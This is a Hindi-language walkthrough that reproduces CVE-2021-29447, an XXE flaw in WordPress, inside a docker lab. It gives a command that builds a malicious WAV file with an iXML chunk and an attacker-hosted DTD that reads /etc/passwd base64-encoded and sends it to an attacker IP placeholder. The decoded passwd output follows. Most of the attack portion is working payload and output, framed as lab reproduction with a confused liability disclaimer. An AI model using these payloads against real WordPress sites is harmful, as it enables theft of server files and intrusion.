स्थापना और निष्पादन क्रम

0. docker चलाएं

 $docker-compose up

1. wordpress.sh चलाएं

WordPress स्थापित करने से पहले wp-config.php फ़ाइल में सेटिंग कॉन्फ़िगर करें।

 $docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh"

2. WordPress स्थापित करें

कंटेनर में WordPress साइट पर जाएं और स्थापना जारी रखें।

कृपया सीधे कॉपी न करें, कोड व्यू का उपयोग करके कॉपी करें।

3. WAV फ़ाइल बनाएं

मीडिया सर्वर पर अपलोड करने के लिए wav फ़ाइल बनाएं।

 $echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;]>\x00' > payload.wav

4. हमलावर सर्वर फ़ाइल बनाएं

हमलावर सर्वर पर XML दस्तावेज़ की संरचना, वैध तत्वों और विशेषताओं को परिभाषित करने के लिए DTD फ़ाइल बनाएं और हमलावर सर्वर पर वेब सर्वर चलाएं।

 ubuntu@ip-172-31-21-157:/var/www/html$ vim evil.dtd

 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % init " <!ENTITY % trick SYSTEM 'http://{공격자 ip}?p=%file;'>" >

dnr6419@DESKTOP-4CJA7LD ~ ☺ echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin dnr6419@DESKTOP-4CJA7LD ~ ☺

CVE-2021-29447

सबसे लोकप्रिय

5. WAV फ़ाइल को WordPress मीडिया सर्वर पर अपलोड करें।

6. हमलावर सर्वर पर प्राप्त मान की जाँच करें।

सावधानियां

WordPress चलाने के लिए PHP संस्करण 8 होना चाहिए।

उपरोक्त कमजोरी का अवैध उपयोग करने पर कोई कानूनी जिम्मेदारी नहीं ली जाएगी।

यदि आप उपरोक्त कमजोरियों का अवैध रूप से शोषण करते हैं, तो आपको उत्तरदायी नहीं ठहराया जाएगा।

Docker संस्करण को अद्यतन करना होगा।

स्रोत